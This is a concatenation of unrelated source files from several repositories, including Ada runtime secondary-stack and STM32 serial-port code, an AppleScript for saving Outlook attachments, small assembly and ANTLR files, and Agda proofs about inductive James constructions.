Info.Default_Chunk_Size := Stack.Default_Chunk_Size;
Info.Freeable := Stack.Freeable;
Info.High_Water_Mark := Stack.High_Water_Mark;
Info.Number_Of_Chunks := Number_Of_Chunks (Stack);
Info.Top.Byte := Stack.Top.Byte;
Info.Top.Chunk := Top_Chunk_Id (Stack);
return Info;
end Get_Stack_Info;
----------------------------
-- Has_Enough_Free_Memory --
----------------------------
function Has_Enough_Free_Memory
(Chunk : SS_Chunk_Ptr;
Byte : Memory_Index;
Mem_Size : Memory_Size) return Boolean
is
begin
-- Byte - 1 denotes the last occupied byte. Subtracting that byte from
-- the memory capacity of the chunk yields the size of the free memory
-- within the chunk. The chunk can fit the request as long as the free
-- memory is as big as the request.
return Chunk.Size - (Byte - 1) >= Mem_Size;
end Has_Enough_Free_Memory;
----------------------
-- Number_Of_Chunks --
----------------------
function Number_Of_Chunks (Stack : SS_Stack_Ptr) return Chunk_Count is
Chunk : SS_Chunk_Ptr;
Count : Chunk_Count;
begin
Chunk := Stack.Static_Chunk'Access;
Count := 0;
while Chunk /= null loop
Chunk := Chunk.Next;
Count := Count + 1;
end loop;
return Count;
end Number_Of_Chunks;
------------------------------
-- Size_Up_To_And_Including --
------------------------------
function Size_Up_To_And_Including
(Chunk : SS_Chunk_Ptr) return Memory_Size
is
begin
return Chunk.Size_Up_To_Chunk + Chunk.Size;
end Size_Up_To_And_Including;
-----------------
-- SS_Allocate --
-----------------
procedure SS_Allocate
(Addr : out Address;
Storage_Size : Storage_Count)
is
function Round_Up (Size : Storage_Count) return Memory_Size;
pragma Inline (Round_Up);
-- Round Size up to the nearest multiple of the maximum alignment
--------------
-- Round_Up --
--------------
function Round_Up (Size : Storage_Count) return Memory_Size is
Algn_MS : constant Memory_Size := Memory_Alignment;
Size_MS : constant Memory_Size := Memory_Size (Size);
begin
-- Detect a case where the Storage_Size is very large and may yield
-- a rounded result which is outside the range of Chunk_Memory_Size.
-- Treat this case as secondary-stack depletion.
if Memory_Size'Last - Algn_MS < Size_MS then
raise Storage_Error with "secondary stack exhausted";
end if;
return ((Size_MS + Algn_MS - 1) / Algn_MS) * Algn_MS;
end Round_Up;
-- Local variables
Stack : constant SS_Stack_Ptr := Get_Sec_Stack.all;
Mem_Size : Memory_Size;
-- Start of processing for SS_Allocate
begin
-- It should not be possible to request an allocation of negative or
-- zero size.
pragma Assert (Storage_Size > 0);
-- Round the requested size up to the nearest multiple of the maximum
-- alignment to ensure efficient access.
Mem_Size := Round_Up (Storage_Size);
if Sec_Stack_Dynamic then
Allocate_Dynamic (Stack, Mem_Size, Addr);
else
Allocate_Static (Stack, Mem_Size, Addr);
end if;
end SS_Allocate;
-------------
-- SS_Free --
-------------
procedure SS_Free (Stack : in out SS_Stack_Ptr) is
Static_Chunk : constant SS_Chunk_Ptr := Stack.Static_Chunk'Access;
Next_Chunk : SS_Chunk_Ptr;
begin
-- Free all dynamically allocated chunks. The first dynamic chunk is
-- found immediately after the static chunk of the stack.
while Static_Chunk.Next /= null loop
Next_Chunk := Static_Chunk.Next.Next;
Free (Static_Chunk.Next);
Static_Chunk.Next := Next_Chunk;
end loop;
-- At this point one of the following outcomes has taken place:
--
-- * The stack lacks any dynamic chunks
--
-- * The stack had dynamic chunks which were all freed
--
-- Either way, there should be nothing hanging off the static chunk
pragma Assert (Static_Chunk.Next = null);
-- Free the stack only when it was dynamically allocated
if Stack.Freeable then
Free (Stack);
end if;
end SS_Free;
----------------
-- SS_Get_Max --
----------------
function SS_Get_Max return Long_Long_Integer is
Stack : constant SS_Stack_Ptr := Get_Sec_Stack.all;
begin
return Long_Long_Integer (Stack.High_Water_Mark);
end SS_Get_Max;
-------------
-- SS_Info --
-------------
procedure SS_Info is
procedure SS_Info_Dynamic (Stack : SS_Stack_Ptr);
pragma Inline (SS_Info_Dynamic);
-- Output relevant information concerning dynamic secondary stack Stack
function Total_Memory_Size (Stack : SS_Stack_Ptr) return Memory_Size;
pragma Inline (Total_Memory_Size);
-- Calculate the size of stack Stack's total memory usage. This includes
-- the following kinds of memory:
--
-- * Free memory in used chunks due to alignment holes
-- * Free memory in the topmost chunk due to partial usage
-- * Free memory in unused chunks following the chunk indicated by the
-- stack pointer.
-- * Memory occupied by allocations
--
-- This is a linear-time operation on the number of chunks.
---------------------
-- SS_Info_Dynamic --
---------------------
procedure SS_Info_Dynamic (Stack : SS_Stack_Ptr) is
begin
Put_Line
(" Number of Chunks : " & Number_Of_Chunks (Stack)'Img);
Put_Line
(" Default size of Chunks : " & Stack.Default_Chunk_Size'Img);
end SS_Info_Dynamic;
-----------------------
-- Total_Memory_Size --
-----------------------
function Total_Memory_Size (Stack : SS_Stack_Ptr) return Memory_Size is
Chunk : SS_Chunk_Ptr;
Total : Memory_Size;
begin
-- The total size of the stack is equal to the size of the stack up
-- to the chunk indicated by the stack pointer, plus the size of the
-- indicated chunk, plus the size of any subsequent chunks.
Total := Size_Up_To_And_Including (Stack.Top.Chunk);
Chunk := Stack.Top.Chunk.Next;
while Chunk /= null loop
Total := Total + Chunk.Size;
Chunk := Chunk.Next;
end loop;
return Total;
end Total_Memory_Size;
-- Local variables
Stack : constant SS_Stack_Ptr := Get_Sec_Stack.all;
-- Start of processing for SS_Info
begin
Put_Line ("Secondary Stack information:");
Put_Line
(" Total size : "
& Total_Memory_Size (Stack)'Img
& " bytes");
Put_Line
(" Current allocated space : "
& Used_Memory_Size (Stack)'Img
& " bytes");
if Sec_Stack_Dynamic then
SS_Info_Dynamic (Stack);
end if;
end SS_Info;
-------------
-- SS_Init --
-------------
procedure SS_Init
(Stack : in out SS_Stack_Ptr;
Size : Size_Type := Unspecified_Size)
is
function Next_Available_Binder_Sec_Stack return SS_Stack_Ptr;
pragma Inline (Next_Available_Binder_Sec_Stack);
-- Return a pointer to the next available stack from the pool created by
-- the binder. This routine updates global Default_Sec_Stack_Pool_Index.
-------------------------------------
-- Next_Available_Binder_Sec_Stack --
-------------------------------------
function Next_Available_Binder_Sec_Stack return SS_Stack_Ptr is
-- The default-sized secondary stack pool generated by the binder
-- is passed to this unit as an Address because it is not possible
-- to define a pointer to an array of unconstrained components. The
-- pointer is instead obtained using an unchecked conversion to a
-- constrained array of secondary stacks with the same size as that
-- specified by the binder.
-- WARNING: The following data structure must be synchronized with
-- the one created in Bindgen.Gen_Output_File_Ada. The version in
-- bindgen is called Sec_Default_Sized_Stacks.
type SS_Pool is
array (1 .. Binder_SS_Count)
of aliased SS_Stack (Binder_Default_SS_Size);
type SS_Pool_Ptr is access SS_Pool;
-- A reference to the secondary stack pool
function To_SS_Pool_Ptr is
new Ada.Unchecked_Conversion (Address, SS_Pool_Ptr);
-- Use an unchecked conversion to obtain a pointer to one of the
-- secondary stacks from the pool generated by the binder. There
-- are several reasons for using the conversion:
--
-- * Accessibility checks prevent a value of a local pointer to be
-- stored outside this scope. The conversion is safe because the
-- pool is global to the whole application.
--
-- * Unchecked_Access may circumvent the accessibility checks, but
-- it is incompatible with restriction No_Unchecked_Access.
--
-- * Unrestricted_Access may circumvent the accessibility checks,
-- but it is incompatible with pure Ada constructs.
-- ??? cannot find the restriction or switch
pragma Warnings (Off);
function To_SS_Stack_Ptr is
new Ada.Unchecked_Conversion (Address, SS_Stack_Ptr);
pragma Warnings (On);
Pool : SS_Pool_Ptr;
begin
-- Obtain a typed view of the pool
Pool := To_SS_Pool_Ptr (Binder_Default_SS_Pool);
-- Advance the stack index to the next available stack
Binder_Default_SS_Pool_Index := Binder_Default_SS_Pool_Index + 1;
-- Return a pointer to the next available stack
return To_SS_Stack_Ptr (Pool (Binder_Default_SS_Pool_Index)'Address);
end Next_Available_Binder_Sec_Stack;
-- Local variables
Stack_Size : Memory_Size_With_Invalid;
-- Start of processing for SS_Init
begin
-- Allocate a new stack on the heap or use one from the pool created by
-- the binder.
if Stack = null then
-- The caller requested a pool-allocated stack. Determine the proper
-- size of the stack based on input from the binder or the runtime in
-- case the pool is exhausted.
if Size = Unspecified_Size then
-- Use the default secondary stack size as specified by the binder
-- only when it has been set. This prevents a bootstrap issue with
-- older compilers where the size is never set.
if Binder_Default_SS_Size > 0 then
Stack_Size := Binder_Default_SS_Size;
-- Otherwise use the default stack size of the particular runtime
else
Stack_Size := Runtime_Default_Sec_Stack_Size;
end if;
-- Otherwise the caller requested a heap-allocated stack. Use the
-- specified size directly.
else
Stack_Size := Size;
end if;
-- The caller requested a pool-allocated stack. Use one as long as
-- the pool created by the binder has available stacks. This stack
-- cannot be deallocated.
if Size = Unspecified_Size
and then Binder_SS_Count > 0
and then Binder_Default_SS_Pool_Index < Binder_SS_Count
then
Stack := Next_Available_Binder_Sec_Stack;
Stack.Freeable := False;
-- Otherwise the caller requested a heap-allocated stack, or the pool
-- created by the binder ran out of available stacks. This stack can
-- be deallocated.
else
-- It should not be possible to create a stack with a negative
-- default chunk size.
pragma Assert (Stack_Size in Memory_Size);
Stack := new SS_Stack (Stack_Size);
Stack.Freeable := True;
end if;
-- Otherwise the stack was already created either by the compiler or by
-- the user, and is about to be reused.
else
null;
end if;
-- The static chunk becomes the chunk indicated by the stack pointer.
-- Note that the stack may still hold dynamic chunks, which in turn may
-- be reused or freed.
Stack.Top.Chunk := Stack.Static_Chunk'Access;
-- The first free byte is the first free byte of the chunk indicated by
-- the stack pointer.
Stack.Top.Byte := Stack.Top.Chunk.Memory'First;
-- Since the chunk indicated by the stack pointer is also the first
-- chunk in the stack, there are no prior chunks, therefore the size
-- of the stack up to the chunk is zero.
Stack.Top.Chunk.Size_Up_To_Chunk := 0;
-- Reset the high water mark to account for brand new allocations
Stack.High_Water_Mark := 0;
end SS_Init;
-------------
-- SS_Mark --
-------------
function SS_Mark return Mark_Id is
Stack : constant SS_Stack_Ptr := Get_Sec_Stack.all;
begin
return (Stack => Stack, Top => Stack.Top);
end SS_Mark;
----------------
-- SS_Release --
----------------
procedure SS_Release (M : Mark_Id) is
begin
M.Stack.Top := M.Top;
end SS_Release;
------------------
-- Top_Chunk_Id --
------------------
function Top_Chunk_Id (Stack : SS_Stack_Ptr) return Chunk_Id_With_Invalid is
Chunk : SS_Chunk_Ptr;
Id : Chunk_Id;
begin
Chunk := Stack.Static_Chunk'Access;
Id := 1;
while Chunk /= null loop
if Chunk = Stack.Top.Chunk then
return Id;
end if;
Chunk := Chunk.Next;
Id := Id + 1;
end loop;
return Invalid_Chunk_Id;
end Top_Chunk_Id;
----------------------
-- Used_Memory_Size --
----------------------
function Used_Memory_Size (Stack : SS_Stack_Ptr) return Memory_Size is
begin
-- The size of the occupied memory is equal to the size up to the chunk
-- indicated by the stack pointer, plus the size in use by the indicated
-- chunk itself. Top.Byte - 1 is the last occupied byte.
--
-- Top.Byte
-- |
-- . . . . . . . +--------------|----+
-- . ..> |##############| |
-- . . . . . . . +-------------------+
-- | |
-- -------------------+-------------+
-- Size_Up_To_Chunk size in use
-- ??? this calculation may overflow on 32bit targets
return Stack.Top.Chunk.Size_Up_To_Chunk + Stack.Top.Byte - 1;
end Used_Memory_Size;
end System.Secondary_Stack;
|
applescript/SaveAttachments.applescript | jacsuper/automation | 0 | 1891 | <filename>applescript/SaveAttachments.applescript
#set saveToFolder to POSIX path of (choose folder with prompt "Choose the destination folder")
set saveToFolder to "/Users/FOLDERTOSAVETO"
set ctr to 0
tell application "Microsoft Outlook"
set selectedMessages to current messages
repeat with msg in selectedMessages
set sentstamp to time sent of msg
set y to year of sentstamp
set m to month of sentstamp
set d to day of sentstamp
set rdate to y & "-" & m & "-" & d
set ctr to ctr + 1
set attFiles to attachments of msg
set actr to 0
repeat with f in attFiles
set attName to (get the name of f)
log attName
set saveAsName to saveToFolder & attName
set actr to actr + 1
save f in POSIX file saveAsName
end repeat
end repeat
end tell
display dialog "" & ctr & " messages were processed" buttons {"OK"} default button 1
return ctr |
oeis/021/A021431.asm | neoneye/loda-programs | 11 | 8406 | <filename>oeis/021/A021431.asm
; A021431: Decimal expansion of 1/427.
; Submitted by <NAME>(m2)
; 0,0,2,3,4,1,9,2,0,3,7,4,7,0,7,2,5,9,9,5,3,1,6,1,5,9,2,5,0,5,8,5,4,8,0,0,9,3,6,7,6,8,1,4,9,8,8,2,9,0,3,9,8,1,2,6,4,6,3,7,0,0,2,3,4,1,9,2,0,3,7,4,7,0,7,2,5,9,9,5,3,1,6,1,5,9,2,5,0,5,8,5,4,8,0,0,9,3,6
seq $0,83811 ; Numbers n such that 2n+1 is the digit reversal of n+1.
div $0,1708
mod $0,10
|
test/Compiler/simple/QNameOrder.agda | cruhland/agda | 1,989 | 15317 | <filename>test/Compiler/simple/QNameOrder.agda<gh_stars>1000+
module _ where
open import Agda.Builtin.Reflection
open import Agda.Builtin.Bool
open import Agda.Builtin.Unit
open import Agda.Builtin.String
open import Common.Prelude
_<_ = primQNameLess
True : Bool → Set
True true = ⊤
True false = ⊥
zzz aaa : ⊤
zzz = _
aaa = _
⊥-elim : {A : Set} → ⊥ → A
⊥-elim ()
check : (x y : Name) → True (x < y) → String
check x y prf with x < y
check x y prf | true = "A-ok"
check x y prf | false = ⊥-elim prf
main : IO Unit
main = putStrLn (check (quote zzz) (quote aaa) _)
|
libsrc/target/vector06c/load_palette.asm | Frodevan/z88dk | 640 | 170562 | <filename>libsrc/target/vector06c/load_palette.asm
SECTION code_clib
PUBLIC load_palette
PUBLIC _load_palette
EXTERN asm_load_palette
defc load_palette = asm_load_palette
defc _load_palette = load_palette
|
libsrc/_DEVELOPMENT/font/font_8x8/_font_8x8_clairsys.asm | jpoikela/z88dk | 8 | 2962 | SECTION rodata_font
SECTION rodata_font_8x8
PUBLIC _font_8x8_clairsys
PUBLIC _font_8x8_clairsys_end
_font_8x8_clairsys:
BINARY "font_8x8_clairsys.bin"
_font_8x8_clairsys_end:
|
ANTLRTestProjects/antbased/LexerRules/build/classes/TokenWithAction.g4 | timboudreau/ANTLR4-Plugins-for-NetBeans | 1 | 3837 | <reponame>timboudreau/ANTLR4-Plugins-for-NetBeans<gh_stars>1-10
lexer grammar TokenWithAction;
tokens { T }
ID :
'azerty'
{
setType(T);
}
; |
STM32F4/ToyOBDH/src/serial_ports.adb | AntonioRamosNieto/TFG-STM32F429 | 0 | 18531 | <filename>STM32F4/ToyOBDH/src/serial_ports.adb<gh_stars>0
------------------------------------------------------------------------------
-- --
-- Copyright (C) 2018, Universidad Politécnica de Madrid --
-- --
-- This is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. This software is distributed in the hope that it will be useful, --
-- but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHAN- --
-- TABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public --
-- License for more details. You should have received a copy of the GNU --
-- General Public License distributed with this software; see file --
-- COPYING3. If not, go to http://www.gnu.org/licenses for a complete copy --
-- of the license. --
-- --
------------------------------------------------------------------------------
with Ada.Streams; use Ada.Streams;
package body Serial_Ports is
------------------------
-- Internal procedures--
------------------------
procedure Await_Data_Available
(This : USART;
Timeout : Time_Span := Time_Span_Last;
Timed_Out : out Boolean)
with Inline;
procedure Await_Send_Ready (This : USART)
with Inline;
function Last_Index
(First : Stream_Element_Offset;
Count : Long_Integer)
return Stream_Element_Offset
with Inline;
--------------------------
-- Await_Data_Available --
--------------------------
procedure Await_Data_Available
(This : USART;
Timeout : Time_Span := Time_Span_Last;
Timed_Out : out Boolean)
is
Deadline : constant Time := Clock + Timeout;
begin
Timed_Out := True;
while Clock < Deadline loop
if Rx_Ready (This) then
Timed_Out := False;
exit;
end if;
end loop;
end Await_Data_Available;
----------------------
-- Await_Send_Ready --
----------------------
procedure Await_Send_Ready (This : USART) is
begin
loop
exit when Tx_Ready (This);
end loop;
end Await_Send_Ready;
----------------
-- Last_Index --
----------------
function Last_Index
(First : Stream_Element_Offset;
Count : Long_Integer)
return Stream_Element_Offset
is
begin
if First = Stream_Element_Offset'First and then Count = 0 then
-- we need to return First - 1, but cannot
raise Constraint_Error; -- per RM
else
return First + Stream_Element_Offset (Count) - 1;
end if;
end Last_Index;
----------------
-- Initialize --
----------------
procedure Initialize (This : in out Serial_Port) is
Configuration : GPIO_Port_Configuration;
Device_Pins : constant GPIO_Points
:= This.Device.Rx_Pin & This.Device.Tx_Pin;
begin
Enable_Clock (Device_Pins);
Enable_Clock (This.Device.Transceiver.all);
Configuration := (Mode => Mode_AF,
AF => This.Device.Transceiver_AF,
AF_Speed => Speed_50MHz,
AF_Output_Type => Push_Pull,
Resistors => Pull_Up);
Configure_IO (Device_Pins, Configuration);
end Initialize;
---------------
-- Configure --
---------------
procedure Configure
(This : in out Serial_Port;
Baud_Rate : Baud_Rates;
Parity : Parities := No_Parity;
Data_Bits : Word_Lengths := Word_Length_8;
End_Bits : Stop_Bits := Stopbits_1;
Control : Flow_Control := No_Flow_Control)
is
begin
Disable (This.Device.Transceiver.all);
Set_Baud_Rate (This.Device.Transceiver.all, Baud_Rate);
Set_Mode (This.Device.Transceiver.all, Tx_Rx_Mode);
Set_Stop_Bits (This.Device.Transceiver.all, End_Bits);
Set_Word_Length (This.Device.Transceiver.all, Data_Bits);
Set_Parity (This.Device.Transceiver.all, Parity);
Set_Flow_Control (This.Device.Transceiver.all, Control);
Enable (This.Device.Transceiver.all);
end Configure;
----------
-- Read --
----------
overriding procedure Read
(This : in out Serial_Port;
Buffer : out Ada.Streams.Stream_Element_Array;
Last : out Ada.Streams.Stream_Element_Offset)
is
Raw : UInt9;
Timed_Out : Boolean;
Count : Long_Integer := 0;
begin
Receiving : for K in Buffer'Range loop
Await_Data_Available (This.Device.Transceiver.all, This.Timeout, Timed_Out);
exit Receiving when Timed_Out;
Receive (This.Device.Transceiver.all, Raw);
Buffer (K) := Stream_Element (Raw);
Count := Count + 1;
end loop Receiving;
Last := Last_Index (Buffer'First, Count);
end Read;
-----------
-- Write --
-----------
overriding procedure Write
(This : in out Serial_Port;
Buffer : Ada.Streams.Stream_Element_Array)
is
begin
for Next of Buffer loop
Await_Send_Ready (This.Device.Transceiver.all);
Transmit (This.Device.Transceiver.all, Stream_Element'Pos (Next));
end loop;
end Write;
end Serial_Ports;
|
Cubical/HITs/James/Inductive/Reduced.agda | thomas-lamiaux/cubical | 1 | 14445 | <reponame>thomas-lamiaux/cubical<filename>Cubical/HITs/James/Inductive/Reduced.agda
{-
This file contains:
- Some alternative inductive definitions of James, and they give the same results.
The most relevant one is called `𝕁Red` because it is much simpler.
It has fewer constructors, among which the 2-dimensional constructor `coh`
has a form essentially more clearer, and it avoids indexes.
-}
{-# OPTIONS --safe #-}
module Cubical.HITs.James.Inductive.Reduced where
open import Cubical.Foundations.Prelude
open import Cubical.Foundations.Equiv
open import Cubical.Foundations.Isomorphism
open import Cubical.Foundations.Pointed
open import Cubical.Foundations.Univalence
open import Cubical.Data.Nat
open import Cubical.HITs.SequentialColimit
open import Cubical.HITs.James.Inductive.Base
renaming (𝕁ames to 𝕁amesConstruction ; 𝕁ames∞ to 𝕁ames∞Construction)
private
variable
ℓ : Level
module _
((X , x₀) : Pointed ℓ) where
infixr 5 _∷_
-- Inductive James with fewer constructors
data 𝕁Red : Type ℓ where
[] : 𝕁Red
_∷_ : X → 𝕁Red → 𝕁Red
unit : (x : X)(xs : 𝕁Red) → x₀ ∷ x ∷ xs ≡ x ∷ x₀ ∷ xs
coh : (xs : 𝕁Red) → refl ≡ unit x₀ xs
data 𝕁Red∞ : Type ℓ where
inl : 𝕁Red → 𝕁Red∞
push : (xs : 𝕁Red) → inl xs ≡ inl (x₀ ∷ xs)
-- Auxiliary constructions
-- The following square of types is defined as HIT over I × I.
-- Notice that the constructor `incl∷` can be seen parametrized by i, `coh` by both i j,
-- and other constructors are constant.
data 𝕁Square (i j : I) : Type ℓ where
[] : 𝕁Square i j
_∷_ : X → 𝕁Square i j → 𝕁Square i j
incl : 𝕁Square i j → 𝕁Square i j
unit : (xs : 𝕁Square i j) → incl xs ≡ x₀ ∷ xs
incl∷ : (x : X)(xs : 𝕁Square i j) → unit (x ∷ xs) i ≡ x ∷ unit xs i
coh : (xs : 𝕁Square i j) →
PathP (λ k → unit (unit xs (i ∨ k)) i ≡ unit (unit xs i) (i ∨ j ∨ k))
(λ k → unit (unit xs i) (i ∨ j ∧ k)) (incl∷ x₀ xs)
-- What we need actually is its diagonal.
𝕁Path : I → Type ℓ
𝕁Path i = 𝕁Square i (~ i)
-- If you expand the very definition at end points,
-- you will find that `𝕁Red` is almost a deformation retraction of `𝕁1`,
-- and `𝕁0` is almost the same as the original inductive definition of James.
-- That explains why the isomorphisms given bellow are mainly of c-c, c-v and refls.
𝕁0 = 𝕁Path i0
𝕁1 = 𝕁Path i1
data 𝕁Path∞ (i : I) : Type ℓ where
inl : 𝕁Path i → 𝕁Path∞ i
push : (xs : 𝕁Path i) → inl xs ≡ inl (unit xs i)
𝕁0∞ = 𝕁Path∞ i0
𝕁1∞ = 𝕁Path∞ i1
-- The equivalence 𝕁1 ≃ 𝕁Red
-- This part reduces the constructors.
𝕁1→𝕁Red : 𝕁1 → 𝕁Red
𝕁1→𝕁Red [] = []
𝕁1→𝕁Red (x ∷ xs) = x ∷ 𝕁1→𝕁Red xs
𝕁1→𝕁Red (incl xs) = x₀ ∷ 𝕁1→𝕁Red xs
𝕁1→𝕁Red (incl∷ x xs i) = unit x (𝕁1→𝕁Red xs) i
𝕁1→𝕁Red (unit xs i) = x₀ ∷ 𝕁1→𝕁Red xs
𝕁1→𝕁Red (coh xs i j) = coh (𝕁1→𝕁Red xs) i j
𝕁Red→𝕁1 : 𝕁Red → 𝕁1
𝕁Red→𝕁1 [] = []
𝕁Red→𝕁1 (x ∷ xs) = x ∷ 𝕁Red→𝕁1 xs
𝕁Red→𝕁1 (unit x xs i) = incl∷ x (𝕁Red→𝕁1 xs) i
𝕁Red→𝕁1 (coh xs i j) = coh (𝕁Red→𝕁1 xs) i j
𝕁Red→𝕁1→𝕁Red : (xs : 𝕁Red) → 𝕁1→𝕁Red (𝕁Red→𝕁1 xs) ≡ xs
𝕁Red→𝕁1→𝕁Red [] = refl
𝕁Red→𝕁1→𝕁Red (x ∷ xs) t = x ∷ 𝕁Red→𝕁1→𝕁Red xs t
𝕁Red→𝕁1→𝕁Red (unit x xs i) t = unit x (𝕁Red→𝕁1→𝕁Red xs t) i
𝕁Red→𝕁1→𝕁Red (coh xs i j) t = coh (𝕁Red→𝕁1→𝕁Red xs t) i j
𝕁1→𝕁Red→𝕁1 : (xs : 𝕁1) → 𝕁Red→𝕁1 (𝕁1→𝕁Red xs) ≡ xs
𝕁1→𝕁Red→𝕁1 [] = refl
𝕁1→𝕁Red→𝕁1 (x ∷ xs) t = x ∷ 𝕁1→𝕁Red→𝕁1 xs t
𝕁1→𝕁Red→𝕁1 (incl xs) = (λ t → x₀ ∷ 𝕁1→𝕁Red→𝕁1 xs t) ∙ sym (unit xs)
𝕁1→𝕁Red→𝕁1 (incl∷ x xs i) t = incl∷ x (𝕁1→𝕁Red→𝕁1 xs t) i
𝕁1→𝕁Red→𝕁1 (unit xs i) j =
hcomp (λ k → λ
{ (i = i0) → compPath-filler (λ t → x₀ ∷ 𝕁1→𝕁Red→𝕁1 xs t) (sym (unit xs)) k j
; (i = i1) → x₀ ∷ 𝕁1→𝕁Red→𝕁1 xs j
; (j = i0) → x₀ ∷ 𝕁Red→𝕁1 (𝕁1→𝕁Red xs)
; (j = i1) → unit xs (i ∨ ~ k)})
(x₀ ∷ 𝕁1→𝕁Red→𝕁1 xs j)
𝕁1→𝕁Red→𝕁1 (coh xs i j) t = coh (𝕁1→𝕁Red→𝕁1 xs t) i j
𝕁Red∞→𝕁1∞ : 𝕁Red∞ → 𝕁1∞
𝕁Red∞→𝕁1∞ (inl xs) = inl (𝕁Red→𝕁1 xs)
𝕁Red∞→𝕁1∞ (push xs i) = push (𝕁Red→𝕁1 xs) i
𝕁1∞→𝕁Red∞ : 𝕁1∞ → 𝕁Red∞
𝕁1∞→𝕁Red∞ (inl xs) = inl (𝕁1→𝕁Red xs)
𝕁1∞→𝕁Red∞ (push xs i) = push (𝕁1→𝕁Red xs) i
𝕁Red∞→𝕁1∞→𝕁Red∞ : (xs : 𝕁Red∞) → 𝕁1∞→𝕁Red∞ (𝕁Red∞→𝕁1∞ xs) ≡ xs
𝕁Red∞→𝕁1∞→𝕁Red∞ (inl xs) t = inl (𝕁Red→𝕁1→𝕁Red xs t)
𝕁Red∞→𝕁1∞→𝕁Red∞ (push xs i) t = push (𝕁Red→𝕁1→𝕁Red xs t) i
𝕁1∞→𝕁Red∞→𝕁1∞ : (xs : 𝕁1∞) → 𝕁Red∞→𝕁1∞ (𝕁1∞→𝕁Red∞ xs) ≡ xs
𝕁1∞→𝕁Red∞→𝕁1∞ (inl xs) t = inl (𝕁1→𝕁Red→𝕁1 xs t)
𝕁1∞→𝕁Red∞→𝕁1∞ (push xs i) t = push (𝕁1→𝕁Red→𝕁1 xs t) i
𝕁1∞≃𝕁Red∞ : 𝕁1∞ ≃ 𝕁Red∞
𝕁1∞≃𝕁Red∞ = isoToEquiv (iso 𝕁1∞→𝕁Red∞ 𝕁Red∞→𝕁1∞ 𝕁Red∞→𝕁1∞→𝕁Red∞ 𝕁1∞→𝕁Red∞→𝕁1∞)
-- The equivalence 𝕁ames ≃ 𝕁0
-- This part removes the indexes.
private
𝕁ames = 𝕁amesConstruction (X , x₀)
𝕁ames∞ = 𝕁ames∞Construction (X , x₀)
index : 𝕁0 → ℕ
index [] = 0
index (x ∷ xs) = 1 + index xs
index (incl xs) = 1 + index xs
index (incl∷ x xs i) = 2 + index xs
index (unit xs i) = 1 + index xs
index (coh xs i j) = 2 + index xs
𝕁ames→𝕁0 : {n : ℕ} → 𝕁ames n → 𝕁0
𝕁ames→𝕁0 [] = []
𝕁ames→𝕁0 (x ∷ xs) = x ∷ 𝕁ames→𝕁0 xs
𝕁ames→𝕁0 (incl xs) = incl (𝕁ames→𝕁0 xs)
𝕁ames→𝕁0 (incl∷ x xs i) = incl∷ x (𝕁ames→𝕁0 xs) i
𝕁ames→𝕁0 (unit xs i) = unit (𝕁ames→𝕁0 xs) i
𝕁ames→𝕁0 (coh xs i j) = coh (𝕁ames→𝕁0 xs) i j
𝕁0→𝕁ames : (xs : 𝕁0) → 𝕁ames (index xs)
𝕁0→𝕁ames [] = []
𝕁0→𝕁ames (x ∷ xs) = x ∷ 𝕁0→𝕁ames xs
𝕁0→𝕁ames (incl xs) = incl (𝕁0→𝕁ames xs)
𝕁0→𝕁ames (incl∷ x xs i) = incl∷ x (𝕁0→𝕁ames xs) i
𝕁0→𝕁ames (unit xs i) = unit (𝕁0→𝕁ames xs) i
𝕁0→𝕁ames (coh xs i j) = coh (𝕁0→𝕁ames xs) i j
𝕁0→𝕁ames→𝕁0 : (xs : 𝕁0) → 𝕁ames→𝕁0 (𝕁0→𝕁ames xs) ≡ xs
𝕁0→𝕁ames→𝕁0 [] = refl
𝕁0→𝕁ames→𝕁0 (x ∷ xs) t = x ∷ 𝕁0→𝕁ames→𝕁0 xs t
𝕁0→𝕁ames→𝕁0 (incl xs) t = incl (𝕁0→𝕁ames→𝕁0 xs t)
𝕁0→𝕁ames→𝕁0 (incl∷ x xs i) t = incl∷ x (𝕁0→𝕁ames→𝕁0 xs t) i
𝕁0→𝕁ames→𝕁0 (unit xs i) t = unit (𝕁0→𝕁ames→𝕁0 xs t) i
𝕁0→𝕁ames→𝕁0 (coh xs i j) t = coh (𝕁0→𝕁ames→𝕁0 xs t) i j
index-path : {n : ℕ}(xs : 𝕁ames n) → index (𝕁ames→𝕁0 xs) ≡ n
index-path [] = refl
index-path (x ∷ xs) t = 1 + index-path xs t
index-path (incl xs) t = 1 + index-path xs t
index-path (incl∷ x xs i) t = 2 + index-path xs t
index-path (unit xs i) t = 1 + index-path xs t
index-path (coh xs i j) t = 2 + index-path xs t
𝕁ames→𝕁0→𝕁ames : {n : ℕ}(xs : 𝕁ames n)
→ PathP (λ i → 𝕁ames (index-path xs i)) (𝕁0→𝕁ames (𝕁ames→𝕁0 xs)) xs
𝕁ames→𝕁0→𝕁ames [] = refl
𝕁ames→𝕁0→𝕁ames (x ∷ xs) t = x ∷ 𝕁ames→𝕁0→𝕁ames xs t
𝕁ames→𝕁0→𝕁ames (incl xs) t = incl (𝕁ames→𝕁0→𝕁ames xs t)
𝕁ames→𝕁0→𝕁ames (incl∷ x xs i) t = incl∷ x (𝕁ames→𝕁0→𝕁ames xs t) i
𝕁ames→𝕁0→𝕁ames (unit xs i) t = unit (𝕁ames→𝕁0→𝕁ames xs t) i
𝕁ames→𝕁0→𝕁ames (coh xs i j) t = coh (𝕁ames→𝕁0→𝕁ames xs t) i j
𝕁ames∞→𝕁0∞ : 𝕁ames∞ → 𝕁0∞
𝕁ames∞→𝕁0∞ (inl xs) = inl (𝕁ames→𝕁0 xs)
𝕁ames∞→𝕁0∞ (push xs i) = push (𝕁ames→𝕁0 xs) i
𝕁0∞→𝕁ames∞ : 𝕁0∞ → 𝕁ames∞
𝕁0∞→𝕁ames∞ (inl xs) = inl (𝕁0→𝕁ames xs)
𝕁0∞→𝕁ames∞ (push xs i) = push (𝕁0→𝕁ames xs) i
𝕁ames∞→𝕁0∞→𝕁ames∞ : (xs : 𝕁ames∞) → 𝕁0∞→𝕁ames∞ (𝕁ames∞→𝕁0∞ xs) ≡ xs
𝕁ames∞→𝕁0∞→𝕁ames∞ (inl xs) t = inl (𝕁ames→𝕁0→𝕁ames xs t)
𝕁ames∞→𝕁0∞→𝕁ames∞ (push xs i) t = push (𝕁ames→𝕁0→𝕁ames xs t) i
